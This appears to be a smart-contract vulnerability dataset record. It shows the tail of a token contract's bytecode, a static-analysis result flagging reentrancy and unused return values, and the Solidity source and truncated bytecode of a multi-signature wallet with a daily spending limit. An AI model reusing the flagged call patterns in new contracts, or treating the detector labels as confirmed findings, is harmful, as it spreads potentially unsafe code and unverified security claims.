79055565b6000546001600160a01b031633146105945760405162461bcd60e51b81526004016103f9906119d0565b600081116105a157600080fd5b6105bf60646105b968056bc75e2d6310000084611096565b9061111c565b600f5550565b600c546001600160a01b0316336001600160a01b0316146105e557600080fd5b476105ef8161115e565b50565b6001600160a01b0381166000908152600260205260408120546103c990611198565b6000546001600160a01b0316331461063e5760405162461bcd60e51b81526004016103f9906119d0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106b25760405162461bcd60e51b81526004016103f9906119d0565b68056bc75e2d63100000600f819055601055565b60006103c5338484610c52565b6000546001600160a01b031633146106fd5760405162461bcd60e51b81526004016103f9906119d0565b6000811161070a57600080fd5b61072260646105b968056bc75e2d6310000084611096565b60105550565b600c546001600160a01b0316336001600160a01b03161461074857600080fd5b6000610753306105f2565b90506105ef81611215565b6000546001600160a01b031633146107885760405162461bcd60e51b81526004016103f9906119d0565b600e54600160a01b900460ff16156107e25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f9565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561081f308268056bc75e2d63100000610b2e565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085857600080fd5b505afa15801561086c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610890919061176b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108d857600080fd5b505afa1580156108ec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610910919061176b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561095857600080fd5b505af115801561096c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610990919061176b565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d71947306109c0816105f2565b6000806109d56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3857600080fd5b505af1158015610a4c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a71919061194d565b5050600e8054678ac7230489e80000600f556801a055690d9db8000060105563ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610af657600080fd5b505af1158015610b0a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046a9190611917565b6001600160a01b038316610b905760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f9565b6001600160a01b038216610bf15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cb65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f9565b6001600160a01b038216610d185760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f9565b60008111610d7a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f9565b6000600a556005600b55610d966000546001600160a01b031690565b6001600160a01b0316836001600160a01b031614158015610dc557506000546001600160a01b03838116911614155b1561104c576001600160a01b03831660009081526006602052604090205460ff16158015610e0c57506001600160a01b03821660009081526006602052604090205460ff16155b610e1557600080fd5b600e546001600160a01b038481169116148015610e405750600d546001600160a01b03838116911614155b8015610e6557506001600160a01b03821660009081526005602052604090205460ff16155b8015610e7a5750600e54600160b81b900460ff165b15610f7f57600f54811115610ed15760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103f9565b60105481610ede846105f2565b610ee89190611a76565b1115610f365760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f9565b6001600160a01b0382166000908152600760205260409020544211610f5a57600080fd5b610f6542601e611a76565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610faa5750600d546001600160a01b03848116911614155b8015610fcf57506001600160a01b03831660009081526005602052604090205460ff16155b15610fdf576000600a556008600b555b6000610fea306105f2565b600e54909150600160a81b900460ff161580156110155750600e546001600160a01b03858116911614155b801561102a5750600e54600160b01b900460ff165b1561104a5761103881611215565b478015611048576110484761115e565b505b505b61105783838361139e565b505050565b600081848411156110805760405162461bcd60e51b81526004016103f9919061197b565b50600061108d8486611acf565b95945050505050565b6000826110a5575060006103c9565b60006110b18385611ab0565b9050826110be8583611a8e565b146111155760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f9565b9392505050565b600061111583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113a9565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561046a573d6000803e3d6000fd5b60006008548211156111ff5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103f9565b60006112096113d7565b9050611115838261111c565b600e805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061125d5761125d611b17565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112b157600080fd5b505afa1580156112c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112e9919061176b565b816001815181106112fc576112fc611b17565b6001600160a01b039283166020918202929092010152600d546113229130911684610b2e565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061135b908590600090869030904290600401611a05565b600060405180830381600087803b15801561137557600080fd5b505af1158015611389573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b6110578383836113fa565b600081836113ca5760405162461bcd60e51b81526004016103f9919061197b565b50600061108d8486611a8e565b60008060006113e46114f1565b90925090506113f3828261111c565b9250505090565b60008060008060008061140c87611533565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061143e9087611590565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461146d90866115d2565b6001600160a01b03891660009081526002602052604090205561148f81611631565b611499848361167b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114de91815260200190565b60405180910390a3505050505050505050565b600854600090819068056bc75e2d6310000061150d828261111c565b82101561152a5750506008549268056bc75e2d6310000092509050565b90939092509050565b60008060008060008060008060006115508a600a54600b5461169f565b92509250925060006115606113d7565b905060008060006115738e8787876116ee565b919e509c509a509598509396509194505050505091939550919395565b600061111583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061105c565b6000806115df8385611a76565b9050838110156111155760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f9565b600061163b6113d7565b905060006116498383611096565b3060009081526002602052604090205490915061166690826115d2565b30600090815260026020526040902055505050565b6008546116889083611590565b60085560095461169890826115d2565b6009555050565b60008080806116b360646105b98989611096565b905060006116c660646105b98a89611096565b905060006116de826116d88b86611590565b90611590565b9992985090965090945050505050565b60008080806116fd8886611096565b9050600061170b8887611096565b905060006117198888611096565b9050600061172b826116d88686611590565b939b939a50919850919650505050505050565b803561174981611b43565b919050565b60006020828403121561176057600080fd5b813561111581611b43565b60006020828403121561177d57600080fd5b815161111581611b43565b6000806040838503121561179b57600080fd5b82356117a681611b43565b915060208301356117b681611b43565b809150509250929050565b6000806000606084860312156117d657600080fd5b83356117e181611b43565b925060208401356117f181611b43565b929592945050506040919091013590565b6000806040838503121561181557600080fd5b823561182081611b43565b946020939093013593505050565b6000602080838503121561184157600080fd5b823567ffffffffffffffff8082111561185957600080fd5b818501915085601f83011261186d57600080fd5b81358181111561187f5761187f611b2d565b8060051b604051601f19603f830116810181811085821117156118a4576118a4611b2d565b604052828152858101935084860182860187018a10156118c357600080fd5b600095505b838610156118ed576118d98161173e565b8552600195909501949386019386016118c8565b5098975050505050505050565b60006020828403121561190c57600080fd5b813561111581611b58565b60006020828403121561192957600080fd5b815161111581611b58565b60006020828403121561194657600080fd5b5035919050565b60008060006060848603121561196257600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156119a85785810183015185820160400152820161198c565b818111156119ba576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a555784516001600160a01b031683529383019391830191600101611a30565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a8957611a89611b01565b500190565b600082611aab57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611aca57611aca611b01565b500290565b600082821015611ae157611ae1611b01565b500390565b6000600019821415611afa57611afa611b01565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146105ef57600080fd5b80151581146105ef57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208973053a495462adef48a7493870c9ec28c788e7be0da75f74b6f81b77286a6d64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,219 |
0xc799dec7682ccf111a38bea5dcae687031c63620
|
pragma solidity 0.4.21;
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId, string indexed reference);
event ExecutionFailure(uint indexed transactionId, string indexed reference);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
string reference;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param reference Transaction reference.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, string reference, bytes data)
public
ownerExists(msg.sender)
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, reference, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId, tx.reference);
else {
ExecutionFailure(transactionId, tx.reference);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param reference Transaction reference.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, string reference, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
reference: reference,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param executed Transaction executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ((!executed && !transactions[i].executed)
|| (executed && transactions[i].executed))
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs after filers are applied.
/// @param executed Transaction executed transactions.
/// @return Returns array of transaction IDs after filers are applied.
function getTransactionIds(bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ((!executed && !transactions[i].executed)
|| (executed && transactions[i].executed)) {
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](count);
for (i=0; i<count; i++) {
_transactionIds[i] = transactionIdsTemp[i];
}
}
}
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
event DailyLimitChange(uint dailyLimit);
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
modifier isNotZero(uint amount) {
require(amount > 0);
_;
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
isNotZero(_dailyLimit)
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
isNotZero(_dailyLimit)
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
Transaction tx = transactions[transactionId];
bool confirmed = isConfirmed(transactionId);
if (confirmed || tx.data.length == 0 && isUnderLimit(tx.value)) {
tx.executed = true;
if (!confirmed)
spentToday += tx.value;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId, tx.reference);
else {
ExecutionFailure(transactionId, tx.reference);
tx.executed = false;
if (!confirmed)
spentToday -= tx.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
}
|
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101ae578063173825d91461021157806320ea8d861461024a5780632f54bf6e1461026d57806330dfe1da146102be5780633411c81c146102f75780634bc9fdc21461035157806367eeba0c1461037a5780636b0c932d146103a35780637065cb48146103cc578063784547a7146104055780638b51d13f14610440578063940beaf5146104775780639ace38c2146104f1578063a0e67e2b1461063e578063b5dc40c3146106a8578063b77bf60014610720578063ba51a6df14610749578063c01a8c841461076c578063cea086211461078f578063d74f8edd146107b2578063dc8452cd146107db578063e20056e614610804578063e6a9026b1461085c578063ee22610b14610938578063f059cf2b1461095b575b60003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34156101b957600080fd5b6101cf6004808035906020019091905050610984565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021c57600080fd5b610248600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506109c3565b005b341561025557600080fd5b61026b6004808035906020019091905050610c5f565b005b341561027857600080fd5b6102a4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e07565b604051808215151515815260200191505060405180910390f35b34156102c957600080fd5b6102e160048080351515906020019091905050610e27565b6040518082815260200191505060405180910390f35b341561030257600080fd5b610337600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610eb9565b604051808215151515815260200191505060405180910390f35b341561035c57600080fd5b610364610ee8565b6040518082815260200191505060405180910390f35b341561038557600080fd5b61038d610f25565b6040518082815260200191505060405180910390f35b34156103ae57600080fd5b6103b6610f2b565b6040518082815260200191505060405180910390f35b34156103d757600080fd5b610403600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f31565b005b341561041057600080fd5b6104266004808035906020019091905050611133565b604051808215151515815260200191505060405180910390f35b341561044b57600080fd5b6104616004808035906020019091905050611219565b6040518082815260200191505060405180910390f35b341561048257600080fd5b61049a600480803515159060200190919050506112e5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156104dd5780820151818401526020810190506104c2565b505050509050019250505060405180910390f35b34156104fc57600080fd5b610512600480803590602001909190505061143c565b604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001806020018415151515815260200180602001838103835286818151815260200191508051906020019080838360005b8381101561059857808201518184015260208101905061057d565b50505050905090810190601f1680156105c55780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b838110156105fe5780820151818401526020810190506105e3565b50505050905090810190601f16801561062b5780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390f35b341561064957600080fd5b6106516115cf565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610694578082015181840152602081019050610679565b505050509050019250505060405180910390f35b34156106b357600080fd5b6106c96004808035906020019091905050611663565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561070c5780820151818401526020810190506106f1565b505050509050019250505060405180910390f35b341561072b57600080fd5b61073361188d565b6040518082815260200191505060405180910390f35b341561075457600080fd5b61076a6004808035906020019091905050611893565b005b341561077757600080fd5b61078d600480803590602001909190505061194d565b005b341561079a57600080fd5b6107b06004808035906020019091905050611b2a565b005b34156107bd57600080fd5b6107c5611bb6565b6040518082815260200191505060405180910390f35b34156107e657600080fd5b6107ee611bbb565b6040518082815260200191505060405180910390f35b341561080f57600080fd5b61085a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611bc1565b005b341561086757600080fd5b610922600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611ed8565b6040518082815260200191505060405180910390f35b341561094357600080fd5b6109596004808035906020019091905050611f53565b005b341561096657600080fd5b61096e612258565b6040518082815260200191505060405180910390f35b60038181548110151561099357fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109ff57600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610a5857600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610be0578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610aeb57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610bd3576003600160038054905003815481101515610b4a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b8557fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610be0565b8180600101925050610ab5565b6001600381818054905003915081610bf89190612426565b506003805490506004541115610c1757610c16600380549050611893565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cb857600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610d2357600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610d5357600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b600080600090505b600554811015610eb35782158015610e67575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610e9a5750828015610e99575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610ea6576001820191505b8080600101915050610e2f565b50919050565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006201518060075401421115610f03576006549050610f22565b6008546006541015610f185760009050610f22565b6008546006540390505b90565b60065481565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6b57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610fc557600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610fec57600080fd5b600160038054905001600454603282111580156110095750818111155b8015611016575060008114155b8015611023575060008214155b151561102e57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506003805480600101828161109a9190612452565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156112115760016000858152602001908152602001600020600060038381548110151561117157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111f1576001820191505b6004548214156112045760019250611212565b8080600101915050611140565b5b5050919050565b600080600090505b6003805490508110156112df5760016000848152602001908152602001600020600060038381548110151561125257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156112d2576001820191505b8080600101915050611221565b50919050565b6112ed61247e565b6112f561247e565b6000806005546040518059106113085750595b9080825280602002602001820160405250925060009150600090505b6005548110156113c5578415801561135c575060008082815260200190815260200160002060030160009054906101000a900460ff16155b8061138f575084801561138e575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b156113b8578083838151811015156113a357fe5b90602001906020020181815250506001820191505b8080600101915050611324565b816040518059106113d35750595b90808252806020026020018201604052509350600090505b8181101561143457828181518110151561140157fe5b90602001906020020151848281518110151561141957fe5b906020019060200201818152505080806001019150506113eb565b505050919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115145780601f106114e957610100808354040283529160200191611514565b820191906000526020600020905b8154815290600101906020018083116114f757829003601f168201915b5050505050908060030160009054906101000a900460ff1690806004018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115c55780601f1061159a576101008083540402835291602001916115c5565b820191906000526020600020905b8154815290600101906020018083116115a857829003601f168201915b5050505050905085565b6115d7612492565b600380548060200260200160405190810160405280929190818152602001828054801561165957602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161160f575b5050505050905090565b61166b612492565b611673612492565b6000806003805490506040518059106116895750595b9080825280602002602001820160405250925060009150600090505b6003805490508110156117e8576001600086815260200190815260200160002060006003838154811015156116d657fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117db5760038181548110151561175e57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838381518110151561179857fe5b9060200190602002019073fffffffffffffffffffffffffffff